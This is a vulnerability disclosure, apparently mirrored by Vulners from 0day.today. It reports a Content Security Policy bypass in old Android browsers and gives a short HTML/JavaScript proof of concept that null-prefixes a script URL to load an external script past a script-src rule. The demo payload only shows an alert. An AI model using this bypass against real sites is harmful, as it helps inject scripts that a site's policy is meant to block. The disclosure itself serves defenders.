Lucene search
K

Android browser versions 4.4 content security policy bypass vulnerability

🗓️ 13 Oct 2014 00:00:00Reported by Evan JohnsType 
zdt
 zdt
🔗 0day.today👁 19 Views

Android browser 4.4 CSP bypass vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Android Browser in Android < 4.4 Same Origin Policy Bypass
15 Oct 201400:00
nessus
Tenable Nessus
Google Android Operating System < 4.4.0 Multiple Vulnerabilities
10 Apr 201500:00
nessus
Circl
CVE-2014-6041
29 May 201815:50
circl
Check Point Advisories
Google Android Browser Same Origin Policy Bypass (CVE-2014-6041)
22 Sep 201400:00
checkpoint_advisories
CVE
CVE-2014-6041
2 Sep 201410:00
cve
Cvelist
CVE-2014-6041
2 Sep 201410:00
cvelist
Metasploit
Android Browser RCE Through Google Play Store XFO
10 Feb 201517:03
metasploit
Metasploit
Android Open Source Platform (AOSP) Browser UXSS
8 Sep 201404:25
metasploit
NVD
CVE-2014-6041
2 Sep 201410:55
nvd
Packet Storm
Android Browser CSP Bypass
13 Oct 201400:00
packetstorm
Rows per page
Hello. I hope this is the correct place to report this bug.

I've found a Content Security Policy bypass similar to the same and related to the same origin policy bypass in this CVE. This is a separate vulnerability, however.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6041

I've tested this on an Android 4.3 tablet. I've tested this and it works on Firefox (32.0.2), InBrowser, Dolphin (App info doesn't give version). I also tested the default android browser on 4.3.1 emulator which was also vulnerable.

PoC:
<input type=button value="test" onclick="
  a=document.createElement('script');
  a.id='AA';
  a.src='\u0000https://js.stripe.com/v2/';
  document.body.appendChild(a);
  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}else{ alert(2);}}, 400);
  return false;">

The content security policy rule that should block this is 
script-src 'self' https://js.stripe.com/v2/ ;

The PoC worked if you see a popup containing stripes e(){} object. You can test this on http://ejj.io/test.php


Cheers,
Evan J

#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation